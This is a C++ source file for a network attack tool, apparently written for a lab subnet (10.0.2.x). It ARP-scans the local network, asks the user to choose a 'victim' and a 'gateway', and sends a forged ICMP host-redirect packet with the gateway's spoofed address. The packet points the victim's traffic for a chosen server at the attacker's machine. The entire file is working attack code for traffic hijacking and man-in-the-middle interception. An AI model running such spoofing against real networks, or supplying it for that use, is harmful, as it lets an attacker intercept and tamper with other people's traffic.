#include <iostream>
#include <cstring>
#include <vector>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <net/ethernet.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
//#include <linux/if_arp.h>

struct DeviceInfo {
    std::string ip;
    std::string mac;
};

// Get MAC address of this machine
std::string get_mac_address(const std::string& iface) {
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    ifreq ifr;
    std::strncpy(ifr.ifr_name, iface.c_str(), IFNAMSIZ);
    ioctl(fd, SIOCGIFHWADDR, &ifr);
    close(fd);

    unsigned char* mac = reinterpret_cast<unsigned char*>(ifr.ifr_hwaddr.sa_data);
    char mac_str[18];
    std::snprintf(mac_str, sizeof(mac_str), "%02x:%02x:%02x:%02x:%02x:%02x",
                  mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    return std::string(mac_str);
}

// Get IP address of this machine
std::string get_ip_address(const std::string& iface) {
    int fd = socket(AF_INET, SOCK_DGRAM, 0);
    ifreq ifr;
    std::strncpy(ifr.ifr_name, iface.c_str(), IFNAMSIZ);
    ioctl(fd, SIOCGIFADDR, &ifr);
    close(fd);

    return inet_ntoa(((sockaddr_in*)&ifr.ifr_addr)->sin_addr);
}

// Convert MAC address bytes to string
std::string mac_to_string(unsigned char* mac) {
    char buf[18];
    snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x",
             mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    return std::string(buf);
}

// Scan network using ARP requests
std::vector<DeviceInfo> scan_network(const std::string& iface, const std::string& attacker_ip) {
    std::vector<DeviceInfo> devices;

    int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
    if (sock < 0) {
        perror("socket");
        return devices;
    }

    sockaddr_ll device{};
    ifreq ifr;
    std::strncpy(ifr.ifr_name, iface.c_str(), IFNAMSIZ);
    ioctl(sock, SIOCGIFINDEX, &ifr);
    device.sll_ifindex = ifr.ifr_ifindex;
    device.sll_family = AF_PACKET;

    unsigned char buffer[42];
    memset(buffer, 0xff, 6); // Destination MAC (broadcast)
    ioctl(sock, SIOCGIFHWADDR, &ifr);
    memcpy(buffer + 6, ifr.ifr_hwaddr.sa_data, 6); // Source MAC
    buffer[12] = 0x08; buffer[13] = 0x06; // ARP

    // ARP header
    buffer[14] = 0x00; buffer[15] = 0x01; // Ethernet
    buffer[16] = 0x08; buffer[17] = 0x00; // IP
    buffer[18] = 0x06; buffer[19] = 0x04; // MAC + IP sizes
    buffer[20] = 0x00; buffer[21] = 0x01; // ARP request
    memcpy(buffer + 22, ifr.ifr_hwaddr.sa_data, 6); // Sender MAC

    in_addr src_ip;
    ioctl(sock, SIOCGIFADDR, &ifr);
    src_ip = ((sockaddr_in*)&ifr.ifr_addr)->sin_addr;
    memcpy(buffer + 28, &src_ip, 4); // Sender IP
    memset(buffer + 32, 0x00, 6); // Target MAC

    for (int i = 1; i <= 254; ++i) {
        in_addr dst_ip;
        char ip_str[16];
        std::snprintf(ip_str, sizeof(ip_str), "10.0.2.%d", i);
        inet_aton(ip_str, &dst_ip);
        memcpy(buffer + 38, &dst_ip, 4); // Target IP

        sendto(sock, buffer, 42, 0, (sockaddr*)&device, sizeof(device));
    }

    fd_set fds;
    timeval tv = {3, 0};
    FD_ZERO(&fds);
    FD_SET(sock, &fds);

    while (select(sock + 1, &fds, nullptr, nullptr, &tv) > 0) {
        unsigned char recvbuf[60];
        ssize_t len = recv(sock, recvbuf, sizeof(recvbuf), 0);
        if (len < 0) continue;

        if (recvbuf[12] == 0x08 && recvbuf[13] == 0x06 && recvbuf[21] == 0x02) { // ARP reply
            char ip[INET_ADDRSTRLEN];
            inet_ntop(AF_INET, recvbuf + 28, ip, sizeof(ip));
            std::string mac = mac_to_string(recvbuf + 22);
            if (ip != attacker_ip)
                devices.push_back({ip, mac});
        }
    }
    close(sock);
    return devices;
}

// Calculate checksum for ICMP packet
unsigned short checksum(unsigned short* buf, int len) {
    unsigned long sum = 0;
    while (len > 1) {
        sum += *buf++;
        len -= 2;
    }
    if (len == 1)
        sum += *(unsigned char*)buf;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

// Send ICMP redirect packet to victim
void send_icmp_redirect(const std::string& victim_ip, const std::string& gateway_ip, const std::string& attacker_ip,
                        const std::string& server_ip) {
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    int one=1;
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); // Include IP header in packet
    //setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &sock, sizeof(sock)); // Include IP header in packet
    //int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock < 0) {
        perror("socket");
        return;
    }

    char packet[128] = {0};

    // Outer IP header
    iphdr* ip = (iphdr*)packet;
    ip->ihl = 5;
    ip->version = 4;
    ip->tos = 0;
    ip->tot_len = htons(sizeof(iphdr) + sizeof(icmphdr) + sizeof(iphdr) + 8);
    ip->id = htons(54321);
    ip->ttl = 64;
    ip->protocol = IPPROTO_ICMP;
    ip->saddr = inet_addr(gateway_ip.c_str());
    ip->daddr = inet_addr(victim_ip.c_str());
    //ip->check = 0; // Checksum will be calculated later
    ip->check = checksum((unsigned short*)ip, sizeof(iphdr));

    // ICMP redirect header
    icmphdr* icmp = (icmphdr*)(packet + sizeof(iphdr));
    icmp->type = 5; // redirect
    icmp->code = 1; // host redirect
    icmp->un.gateway = inet_addr(attacker_ip.c_str());

    // Inner IP header (pretend to be an echo request)
    iphdr* orig_ip = (iphdr*)(packet + sizeof(iphdr) + sizeof(icmphdr));
    orig_ip->ihl = 5;
    orig_ip->version = 4; //version of IP
    orig_ip->tos = 0;  //type of service
    orig_ip->tot_len = htons(sizeof(iphdr) + 8);
    orig_ip->id = htons(12345);
    orig_ip->ttl = 64;
    orig_ip->protocol = IPPROTO_ICMP;
    orig_ip->saddr = inet_addr(victim_ip.c_str());
    orig_ip->daddr = inet_addr(server_ip.c_str());
    orig_ip->check = checksum((unsigned short*)orig_ip, sizeof(iphdr));

    // ICMP echo request (fake payload)
    unsigned char* icmp_payload = (unsigned char*)(packet + sizeof(iphdr) + sizeof(icmphdr) + sizeof(iphdr));
    icmp_payload[0] = 0; // type: echo request
    icmp_payload[1] = 0; // code
    //icmp_payload[2] = 0xff;
    //icmp_payload[3] = 0xff; // checksum
    icmp_payload[4] = 0x00;
    icmp_payload[5] = 0x00; // identifier
    icmp_payload[6] = 0x00;
    icmp_payload[7] = 0x00; // sequence number
    // icmp_payload[0] = 8; // type: echo request
    // icmp_payload[1] = 0; // code
    icmp_payload[2] = 0;
    icmp_payload[3] = 0; // checksum
    // icmp_payload[4] = 0x00;
    // icmp_payload[5] = 0x01; // identifier
    // icmp_payload[6] = 0x00;
    // icmp_payload[7] = 0x01; // sequence number

    icmp->checksum = checksum((unsigned short*)icmp, sizeof(icmphdr) + sizeof(iphdr) + 8);

    sockaddr_in dest{};
    dest.sin_family = AF_INET;
    dest.sin_addr.s_addr = ip->daddr;

    if (sendto(sock, packet, ntohs(ip->tot_len), 0, (sockaddr*)&dest, sizeof(dest)) < 0) {
        perror("sendto");
    } else {
        std::cout << "[*] ICMP redirect packet sent." << std::endl;
    }
    close(sock);
}

int main(int argc, char* argv[]) {
    if (argc != 3) {
        std::cerr << "Usage: ./icmp_redirect <server_ip> <interface>\n";
        return 1;
    }

    std::string server_ip = argv[1];
    std::string iface = argv[2];

    std::string attacker_ip = get_ip_address(iface);
    std::string attacker_mac = get_mac_address(iface);

    std::cout << "[*] Attacker IP: " << attacker_ip << ", MAC: " << attacker_mac << std::endl;
    std::cout << "[*] Scanning network...\n";

    auto devices = scan_network(iface, attacker_ip);
    for (size_t i = 0; i < devices.size(); ++i) {
        std::cout << "[" << i << "] IP: " << devices[i].ip << ", MAC: " << devices[i].mac << std::endl;
    }
    if (devices.empty()) {
        std::cerr << "[-] No other devices found on the network.\n";
        return 1;
    }

    int index = -1;
    while (true) {
        std::cout << "Enter index of the victim: ";
        std::cin >> index;
        if (std::cin.fail() || index < 0 || static_cast<size_t>(index) >= devices.size()) {
            std::cin.clear();
            //std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n');
            std::cerr << "[-] Invalid index. Please try again.\n";
        } else {
            break;
        }
    }
    std::string victim_ip = devices[index].ip;
    
    index = -1;
    while (true) {
        std::cout << "Enter index of the getway: ";
        std::cin >> index;
        if (std::cin.fail() || index < 0 || static_cast<size_t>(index) >= devices.size()) {
            std::cin.clear();
            //std::cin.ignore(std::numeric_limits<std::streamsize>::max(), '\n');
            std::cerr << "[-] Invalid index. Please try again.\n";
        } else {
            break;
        }
    }
    std::string gateway_ip = devices[index].ip;
    std::cout << "Victim IP: " << victim_ip << ", Gateway IP: " << gateway_ip <<", Attacker IP: " << attacker_ip << std::endl;
    //send_icmp_redirect(victim_ip, gateway_ip, iface);
    send_icmp_redirect(victim_ip, gateway_ip, attacker_ip, server_ip);
    std::cout << "[*] ICMP redirect packet sent to victim." << std::endl;
    return 0;
}